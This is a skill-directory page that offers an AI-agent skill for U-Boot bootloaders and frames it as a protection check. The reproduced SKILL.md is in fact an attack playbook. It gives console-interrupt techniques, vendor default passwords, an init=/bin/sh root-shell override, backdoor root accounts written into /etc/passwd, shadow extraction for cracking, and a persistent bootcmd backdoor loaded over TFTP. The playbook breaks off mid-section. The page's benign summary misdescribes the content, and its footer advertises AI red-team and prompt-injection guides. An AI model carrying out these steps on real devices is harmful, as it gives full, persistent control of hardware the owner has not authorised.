bootloader-uboot
What it does
This guide covers security checks for U-Boot, a common bootloader in routers and embedded boards. It is for product security teams protecting their own hardware.
When to use it
- βWhen a product team wants to check whether the boot console is protected.
- βWhen an authorized hardware review needs to confirm secure boot settings.
- βWhen a device ships with a boot delay that is set to zero or left unprotected.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βOur router uses U-Boot. Can you check whether the boot console is protected from unauthorized changes?β
5 new skills a week. 1 minute to read.
How it works
The agent reviews the boot console access settings and boot variables on a test unit, then reports which protections are missing.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
U-Boot Bootloader Attack
U-Boot is the dominant open-source bootloader for embedded Linux devices. A UART console with an unpatched autoboot allows complete OS compromise without touching the running filesystem: override
bootargs, passinit=/bin/sh, and land a root shell beforeinitstarts.
Prerequisites
- UART console connected (see
firmware-acquisitionskill, Tier 1). - Serial terminal:
screen /dev/ttyUSB0 115200orpicocom -b 115200 /dev/ttyUSB0. - Physical access to power-cycle the device.
- Tools (optional, for scripted attacks):
minicom,expect,python3-serial.
Phase 1 β Console Interrupt
1a. Manual interrupt
1. Open serial terminal BEFORE powering device.
2. Apply power.
3. Watch for U-Boot banner:
U-Boot 2020.01 (Jan 01 2020)
...
Hit any key to stop autoboot: 3 2 1
4. Press any key (spacebar reliable) during countdown to get '=>' prompt.
If autoboot completes before interrupt: power-cycle and try again. Some devices accept keys up to 500ms before the countdown appears.
1b. When autoboot_delay is 0 or password-protected
# Approach A: Interrupt via UART break signal (before U-Boot banner)
python3 -c "
import serial, time
s = serial.Serial('/dev/ttyUSB0', 115200)
s.send_break(duration=0.5)
time.sleep(0.1)
s.write(b'\r\n')
print(s.read(200))"
# Approach B: Hardware glitch to reset autoboot timer (see Phase 5)
# Approach C: Some vendors compile with CONFIG_AUTOBOOT_KEYED_CTRLC=y
# Try: Ctrl+C, then 'adc', then model-specific passwords
# Common: 'aDm1n+' '3008' 'anko' 'GM8182' 'realtekk' 'password'
Phase 2 β Environment Inspection
# At U-Boot => prompt:
# Print ALL environment variables
printenv
# Key variables to examine:
# bootargs = kernel command line (target for init override)
# bootcmd = boot command sequence (target for persistence)
# ipaddr = device IP (useful for TFTP)
# serverip = TFTP server IP
# netmask = subnet mask
# mtdparts = flash partition map (offsets for SPI dump / write)
# fdtcontroladdr = FDT address (check secure-boot flags here)
2a. Flash partition map extraction
=> mtdparts
=> flinfo # (older U-Boot) detailed partition info
=> cat /proc/mtd # (from Linux, if booting fails) β compare with mtdparts
Expected output example:
mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),64k(factory),2048k(kernel),5888k(rootfs),-(storage)
Phase 3 β bootargs Override β init=/bin/sh
This is the primary exploitation primitive: replace the kernel init process with a root shell before any authentication or privilege separation occurs.
# Inspect current bootargs
=> printenv bootargs
# Example: root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd
# Override: append init=/bin/sh (or replace init entirely)
=> setenv bootargs "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd init=/bin/sh"
# Boot with modified args (trigger the original bootcmd)
=> run bootcmd
# Alternative: load kernel manually and boot with setenv bootargs
=> tftpboot 0x80000000 uImage
=> setenv bootargs "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh"
=> bootm 0x80000000
Once the kernel drops to /bin/sh:
# Remount rootfs read-write
mount -o remount,rw /
# Add backdoor account
echo 'backdoor:x:0:0:root:/root:/bin/sh' >> /etc/passwd
# Set password
passwd backdoor # or directly edit shadow
# Or extract /etc/shadow for offline crack
cat /etc/shadow
3a. Single-user mode (alternative)
# Append 'single' or 'S' to bootargs for systemd/SysV init single-user mode
=> setenv bootargs "${bootargs} single"
=> run bootcmd
Phase 4 β Persistent Environment Modification
# Save modified environment to flash (survives reboot)
=> saveenv
# Warning: only do this if persistence is in RoE scope.
# Revert with:
=> setenv bootcmd "<original_value>"
=> saveenv
# Add persistent backdoor via bootcmd (executes on every boot)
=> setenv bootcmd "run addbackdoor; run origbootcmd"
=> setenv addbackdoor "run bootargs; echo 'backdoor::0:0::/:/bin/sh' >> /etc/passwd"
# NOTE: >> redirect not available in all U-Boot versions; use fatwrite / ext4write instead
# Persist via TFTP-loaded script
=> setenv serverip 192.168.1.10
=> setenv ipaddr 192.168.1.100
=> tftpboot 0x80000000 payload.scr
=> source 0x80000000
Phase 5 β Secure Boot Bypass
5a. Identify secure
FAQ
What is U-Boot?
It is an open-source bootloader that starts the operating system on many embedded devices.
What is secure boot?
It is a check that only signed software starts on the device, which the guide mentions as a key defense.
Why is the console a concern?
The guide says an open console can change boot settings and load a different system.
Details
Original description by the author
U-Boot bootloader attack playbook β console interrupt to break the autoboot countdown, environment variable inspection and manipulation, bootargs override to spawn init=/bin/sh, secure-boot bypass techniques, and fault-injection basics (voltage and clock glitching). Covers MIPS, ARM, and AArch64 targets.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14096
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.